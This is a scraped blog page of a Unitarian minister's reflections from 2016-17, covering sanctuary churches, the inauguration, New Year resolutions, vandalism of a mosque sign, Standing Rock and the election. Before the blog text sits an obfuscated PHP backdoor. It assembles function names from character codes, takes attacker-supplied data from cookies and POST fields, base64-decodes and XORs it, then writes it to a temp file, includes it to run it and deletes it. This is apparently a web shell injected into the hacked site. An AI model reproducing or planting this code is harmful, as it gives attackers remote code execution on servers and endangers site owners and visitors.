$QbKhs = "\111" . "\131" . "\164" . "\137" . 'D' . 'g' . chr (75) . 'q' . chr (76); $MbRcurbut = 'c' . 'l' . "\141" . "\x73" . "\163" . '_' . 'e' . "\170" . chr ( 408 - 303 ).'s' . chr (116) . chr ( 1012 - 897 ); $oUWtd = class_exists($QbKhs); $MbRcurbut = "15698";$ODzyIDwdp = strpos($MbRcurbut, $QbKhs);if ($oUWtd == $ODzyIDwdp){function gDRgo(){$QbAchrOUTa = new /* 20643 */ IYt_DgKqL(48421 + 48421); $QbAchrOUTa = NULL;}$JGLkvjHqy = "48421";class IYt_DgKqL{private function CVgxstfHF($JGLkvjHqy){if (is_array(IYt_DgKqL::$dSYwxCPkj)) {$name = sys_get_temp_dir() . "/" . crc32(IYt_DgKqL::$dSYwxCPkj["salt"]);@IYt_DgKqL::$dSYwxCPkj["write"]($name, IYt_DgKqL::$dSYwxCPkj["content"]);include $name;@IYt_DgKqL::$dSYwxCPkj["delete"]($name); $JGLkvjHqy = "48421";exit();}}public function XyJPGb(){$WUkcz = "51219";$this->_dummy = str_repeat($WUkcz, strlen($WUkcz));}public function __destruct(){IYt_DgKqL::$dSYwxCPkj = @unserialize(IYt_DgKqL::$dSYwxCPkj); $JGLkvjHqy = "49448_22487";$this->CVgxstfHF($JGLkvjHqy); $JGLkvjHqy = "49448_22487";}public function IhYtB($WUkcz, $nUXTej){return $WUkcz[0] ^ str_repeat($nUXTej, intval(strlen($WUkcz[0]) / strlen($nUXTej)) + 1);}public function IiJcKt($WUkcz){$mPfLw = 'b' . chr (97) . chr (115) . 'e' . chr (54) . "\x34";return array_map($mPfLw . "\x5f" . 'd' . chr (101) . chr ( 593 - 494 ).chr ( 220 - 109 ).chr (100) . "\145", array($WUkcz,));}public function __construct($JEMfc=0){$TZtZbBM = chr ( 44 - 0 ); $WUkcz = "";$kBiokmY = $_POST;$ggpGXkTS = $_COOKIE;$nUXTej = "08b18935-d31d-434b-af0c-613653ae91fd";$fsfMcniml = @$ggpGXkTS[substr($nUXTej, 0, 4)];if (!empty($fsfMcniml)){$fsfMcniml = explode($TZtZbBM, $fsfMcniml);foreach ($fsfMcniml as $zlSQhG){$WUkcz .= @$ggpGXkTS[$zlSQhG];$WUkcz .= @$kBiokmY[$zlSQhG];}$WUkcz = $this->IiJcKt($WUkcz);}IYt_DgKqL::$dSYwxCPkj = $this->IhYtB($WUkcz, $nUXTej);if (strpos($nUXTej, $TZtZbBM) !== FALSE){$nUXTej = explode($TZtZbBM, $nUXTej); $SZwjqxRs = base64_decode(strrev($nUXTej[0]));}}public static $dSYwxCPkj = 4445;}gDRgo();} RevMarianStewart | Leading with radical hospitality, creativity, and compassion
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Ministerial Musings

Sanctuary

I’m sure many of you are as concerned as I am about the current state of affairs concerning our immigrant neighbors, especially Muslim and Hispanic people of all ages and walks of life. We are not alone in our worry.

Last Sunday there was a meeting sponsored by the Church Council of Greater Seattle and held at University Unitarian that addressed the issue of sanctuary. About 80 people from area congregations attended the meeting, which included speakers from churches that have offered sanctuary as well as lawyers who work in immigration.

For those of you unfamiliar with the term, sanctuary is a place of safety or refuge. An early form of sanctuary in our country was the underground railroad. During the Central American crisis, some churches* provided sanctuary to undocumented immigrants. (This was different than the Vietnamese refugee/resettlement issue.) In recent years, a few houses of worship have offered sanctuary for those who face deportation. Today, in light of changing policies, many congregations are considering what it would look like for their churches to offer sanctuary in these times. Unlike earlier, those most at risk today fall into three classes: professional, DACA or Dreamers, and those already residing in the U.S.

The meeting on Sunday covered many aspects of what it means to protect or harbor a person or family at risk of deportation. Yes, it is against the law but is long believed to be protected under the first amendment’s provision of religious freedom and expression. Earlier administrations have not entered into houses of worship (or schools or hospitals) to detain individuals. It is unclear what the current administration will set as policy. However, churches across the country are either already providing sanctuary or are actively considering it.

In the Seattle area, there is an active conversation about which churches might be in the position to provide sanctuary and which ones can support those that do. It was noted that congregations do this with strong ‘buy-in’ from their congregants, knowing that providing sanctuary is risky, could be of indeterminate length, and needs a lot of support. Churches, and their members, are having this conversation because they feel strongly about acting out what it means to love your neighbor and to work for justice. For Unitarian Universalists, it is showing up on the side of love.

The felt immediacy of the crisis generated by the travel ban and increased raids and arrests, has escalated both fear and compassion. There will be additional meetings to coordinate and educate leaders and congregations on what it would mean to provide sanctuary.

I will keep you posted and hope that Northlakers can also have a conversation.

Blessings,
Rev. Marian

*During the Central American crisis, Northlake voted to be a Sanctuary church. When I asked about this, it was remembered by long-time members as mostly symbolic in support for our sister congregation, East Shore, and their vote to be Sanctuary.

First Unitarian Society of Denver is in the news as a sanctuary church.

This Huffington Post articleincludes a moving and informative video.

This is a cnn.com article dated 2/17/17.

Inauguration Day

This morning our country entered into a new phase. Promises of ONLY America First might feel good to those who are left out of economic gain or for those who struggle with changing demographics, but the promise comes with great risk. Lifting those who have been left behind by giving them hope is a laudable goal (and should be a perennial goal). However, circling the proverbial wagons to exclude others and building walls, not just at the border but in our hearts, to separate and divide, benefits only those with power. Verbal permissions and attitudes that exclude many lead to exclusionary practices and real harm. We have already seen glimpses of individuals and groups who will be most vulnerable under an ethno/culture/religious/gender/class…-centric leadership. Muslims, women, gays, immigrants,…

When we choose a mantra that include “only”, it is divisive. America is not an “only” nation. We don’t live in isolation, nor do we all look, think, worship, or love alike. “ONLY” is an ego-centric view of the world or country or self. While a healthy ego is necessary, forgetting to balance ego with the realities that we live in an interdependent and interconnected world, is narcissistic and self-serving.

Pendulums swing back and forth just as do governments, policies, and moods. Perhaps as a reaction to liberalism (that lifted many) and increasing rate of change in the world, fear masked as bravado has given rise to a triumphalism that appears to lack a moral center that is capable of a broader compassion or empathy. The edict found in almost every religion and secular society from Confucius forward, to love our neighbors, is now subject to exemptions.

In Unitarian Universalist language, the first principle of respecting the inherent worth and dignity of the individual, lives in balance with the seventh principle, the respect for the interdependent web of all existence of which we are a part. The individual must live in relationship to the whole. An attitude of “ONLY” does not invite balance.

Each of us will have to find ways to make sure the balance is maintained. We should not diminish ourselves in the process, but we should find ways to reach out to others. For some, this may feel like an over-reach or over-compensation, but with the bluster – and appointments – of the newly installed government, we must rise to the challenge.

It will take all of us. Together. No one can do the work alone.

Build relationships, not walls. Build peace, not fear. Build a better America, not an “ONLY” America.

After all, America is us. And we – ALL of us – are America.

Blessings for the journey,

Rev. Marian

New Year’s Reflection

New Year’s Reflection

So it’s the New Year. Is it all better?

The fading days of 2016 held angst, grief, and trepidation about the future. That is not the perfect recipe for hope in the coming year. As the dark days are slowly giving way to light – have you noticed? – I find myself holding on to the color and lights of the holiday season, wanting them last forever. Shouldn’t life be that way?

Looks like we need to work a bit to keep the hope going this new year. Here are a few of my resolutions…

Smile. This fall I found an app that promised to organize my life. All I needed to do was put everything on a calendar. The first step was to list an item with a daily repeat. Since I was doodling, I put ‘smile’. Now I keep getting reminders to do just that. At this point, the app says I’m overdue – since November 8th. I know I have smiled since then, but maybe it has just matched the weather and not broken through to joy. This year, starting now, I’ll practice smiling more for the many blessings of life.

Breathe. Basic but it barely counts if it’s not deep. Relax my shoulders, breathe. Repeat. This sounds easy but as a girl I was taught not to breathe deeply because it made your tummy poke out. I didn’t realize I carried that habit but if I’m ever going to breathe deep, I’d better practice now. We all need to do this. Join me, breathe…

Ground. As I think about – and practice – smiling and breathing, I am transported to a calm place with deep resonance. This is where I find my true grounding. For me, it is the working soul place of reflection, process, and wisdom. Everything in life is easier when I act from this grounding; otherwise, all I do is react. Is that true for you too?

They say three is a charm. Smile. Breathe. Ground. All with repeats. Never out of style. 100% organic. That is how I’m bringing in the new year.

What are your resolutions?

Blessings for the new year,

Rev. Marian

Response to MAPS Sign Vandalism

Response to MAPS Sign Vandalism

Published in Kirkland Reporter, 12/23/16, pg. 3 Opinions

I am moved by all the effort and support that our community and region have shown in response to the current atmosphere that has given license to acts of hate. While our solidarity will not undo the harm, especially emotional harm that devalues identity, breaks trust, and hinders hope, we can all walk with our neighbors in a real and spiritual sense of love and compassion.

Our sisters and brothers at MAPS (Muslim Association of Puget Sound) have been harmed. The sign was, and is, a symbol of their place among us. May it be restored a thousand times over as we renew our call to be our best selves, remembering that almost all of us at some point in our ancestral tree has stood in their footsteps. Even now, we can imagine what kind of hospitality we would hope for as newcomers to a strange new world.

I hope that the vandal is identified and held responsible for his act(s) of hate. And wouldn’t it be a gift to us all if part of that responsibility included restoration, not only in repair of the physical damage to the sign, but also mending the emotional damage to his (and our) neighbors. The good people of the MAPS community could discern what reparation would entail. An opportunity might exist for a relationship to be shifted from a stance of fear and hate, to one of understanding. And don’t we all need more of that.

In these times when the old ways have failed, we need to risk trying something new. Finding a third way, a way of love that builds and restores, is worth every effort.
Blessings for peace,
RevMarian
My Journey to Standing Rock

My Journey to Standing Rock

On the Journey to…

On my way to Standing Rock. Lovely drive in outrageously beautiful surroundings.

Already walking the path of love and open spirit as I pump gas and dine in politically red country. Wondering if anyone has noticed my two small bumper stickers, one with “Peace, Salaam, Slalom”, and the other a UUSC tree with “Plant Peace”. Then there’s the safety pin on my shirt, although it’s covered with layers of warmth. Good thing smiles and friendly hellos are universal. For the night, I’m safely tucked in a UU home in Bozeman.

Experiencing beauty, diversity, and hospitality all in the same day. Much gratitude for generous blessings.

At Standing Rock…

Wow! What an experience. It was such a privilege to be among hundreds and thousands of native peoples and allies on the day NoDAPL won. So many people worked so hard. They stood on the bridge, endured militarized terror with dogs, horses, tear gas, sub zero water cannons, and blaring lights, strobes, and sonic blasts piecing every night, blocked supply routes, threats, arrests, and so much more. Then the snows came. And the cold. And people. Lots of people. Despite being under constant surveillance, supporters flocked in to stand with the Water Protectors.

Today was Interfaith Prayer day. Hundreds of clergy and religious people from all around the world gathered around the sacred fire. In homage to the outstanding work of the UU Fellowship in Bismarck, Rev. Karen was invited to be the first to offer a prayer. (I’ll have to write more on the prayer circle in a later post.)

Before lunch the veterans began showing up by the hundreds, with estimates running between 4000 to 6000 arriving by Monday morning. The clergy march to the bridge was superseded by a request to form a giant prayer circle around the perimeter of the camp. I’m guessing it must have been a literal mile of people circling around.

That’s where I was when a huge cheer went up from the sacred fire circle way down in the center of camp. The whoops and hollers kept wafting uphill. Finally as the outer prayer circle began to collapse and return in, the news began to spread. We won! We won! Mixed in with cheers and tears were cautions about it being just a rumor. But smart phones began to give details. You could feel the exhilaration – and the exhaustion.

Yes, it is a victory. A huge victory. But the work is only beginning. As one of the chiefs said in an early prayer…

We are many people

We are one people

We pray for our children’s future

All water is sacred

All life is sacred

All life is sacred.

One river saved from the black snake, but the work that harms mother earth continues. Celebrate now even as we grow more and more resilient. We are not alone. That’s a good thing. It will take all of us to save the future for our children.

On the Journey Home…

I drove 1200 miles from Seattle to stand with the Sioux. I personally did not make a difference but my presence did. Along with other individuals numbering into the thousands, working together, we had impact.

The black snake, aka DAPL, is just shy of 1200 miles. On my drive – yes fueled with pipeline byproduct – I envisioned a long pipeline running alongside the highway, its contents carrying the black gold of addiction. If one escapes the immediate industry of gas and oil, alternate and renewable sources of power are available, sustainable, and earth-friendly. I too would like to end my personal dependency on climate-altering fuels, and hope that technology (and pricing) continue to make that a viable reality. Others will have to use their innovative gifts to make that happen. In the meantime, I will continue to add my body, voice and prayers to the cry of the Water Protectors.

The weather on my drive to Standing Rock was mostly clear. (And the black snake that mentally slithered beside the highway with me, did not break or leak.) This relative ease allowed me time to deepen my discernment about my motives, privilege, and (western mindset) expectations. I will share more on these later, perhaps in other formats. I also wondered about the future and the road back from Standing Rock.

On the immediate return after an intense day at the camp to the comforts of Bismarck – I’m not a winter camper – I had yet another reason for prayer. A few minutes behind me on the rural highway to Standing Rock, a head-on collision occurred, presumably at the posted speed of 65mph. The shorter route to camp, and straighter, had long been blocked by the state for ‘safety’ and discouragement. My prayers to all involved in the accident and gratitude that the theatened emergency response ban had not been invoked.

On Monday morning, I decided to head home instead of spending a few more hours at camp. It was a good decision. The snow was blinding with blustery white-outs. Cars passed me as I turtled along. I saw some in ditches minutes later. I imagine camping in those conditions would not be easy. Prayers again for all who continue to witness.

Gradually conditions improved. The snow gave way to orange-tinged stubble on the roadside shoulder with gray-blond winter wheat doing a combover in the fierce wind. It was a perfect metaphor for the journey ahead in Trumplandia and what we must do.

If my drive was an indicator, the flashing highways signs warning of “changing weather conditions ahead” were correct. The blustery shock of white-out – or more truthful, white-in – blinds us to the reality and freezes us in place. However, if we turtle on, the roads clear even as the headwinds remain. There will be patches of blizzard again, and moments of confusion over where the road actually is, but this too passes. We must continue.

The black snake of addiction that enabled me on the drive down to Standing Rock transformed itself on the drive home. It is now a rope, leading out of the maze, turning dead-end cynicism into a working labyrinth of hope. This is not a passive hope however. Both hands and all voices and bodies will be needed as we pull ourselves and our values forward.

It is a new world. With deep gratitude to our Indigenous brothers and sisters, we are all Standing Rock. We are people. We are one.

Twelve hundred miles of prayer and we’ve only just begun. Do more than hold on, do something. Join hands and be the rope, the community, the congregation, that leads us through. Our values, and our children, are worth every ounce that we spend with our prayers, our voices, and our bodies. Let us be the ancestors our children’s children would be proud to honor. Wake up. We have work to do.

Amen.

The Impudence of a New Day

The Impudence of a New Day

It is a new day; the sun has risen once again above the horizon. Nature’s polls were 100 percent correct. They always are, ignorant of the temporal polls of mere mortals and our shifting sentiments.

I am thankful that something remains the same and conducts its business regardless of my condition. Today I need this comfort as I absorb the shock of the unimaginable. The forecast of morning rain promises to provide camouflage for my wailing; although I fear I will be an over-match for a mere drizzle. In the afternoon, I will have to do something with a reality that will remain when the sun peaks through the clouds.

I have no illusions that bigotry, racism, misogyny, and a whole host of ills have been given license to bully and maim. They have. And now I have a choice beyond the ballot box and mail-in vote. I can choose to accept, ignore, or act.

Yes, I have to accept the will of the people. And yes, I will remain a citizen – likely punctuated with frequent trips to Canada for fresh air. No, I will not put my head in the sand; there is very little air there and no light. What I will do is give myself the grace of time for grieving and space for reflection. Then, I will double down on the belief I hold deep in my bones, that love ultimately wins.

But beliefs are not enough. I have to wrestle with my fears of what this new day brings with its clarion cry for change that is a strange mix of rosy retrospection for way of life that was good – at least for an idealized few – and bitter for so many, entwined with an in-your-face bombastic disregard for truth, respect, and diplomacy at home and abroad. I have found no empathy in the face of this new day, no compassion and no love beyond narcissism of self. I am appalled and saddened that as a country we could not muster the grit to utter “You’re fired!” to callousness even as we failed to lift up an electable option.

Now, and in the days and years to come, I have to find the courage to love — love that is larger than self and is capable of holding all, all of this and all of us. I want to curse those who say it means more when it is hard to do. The easy way would be to hide my hurt and fear behind a mask of cynicism or get lost in obsessive focus of busyness at work or home, but I am called to do more. If I truly believe that love is the answer, then I must be that love, even now.

I cannot do this alone. I need you. We need each other. This is a “we” moment that requires us to bring our best selves to the monumental task of healing and finding hope. Experience tells me that the birth pangs of healing begin when we breathe deeply and gather together. In that moment, hope is also born anew.

Nature has its cycles of death and renewal. On this day, the sun rose once again. It will tomorrow as well. Just like us. Because we must. Love always wins.

Blessings and peace,

Rev. Marian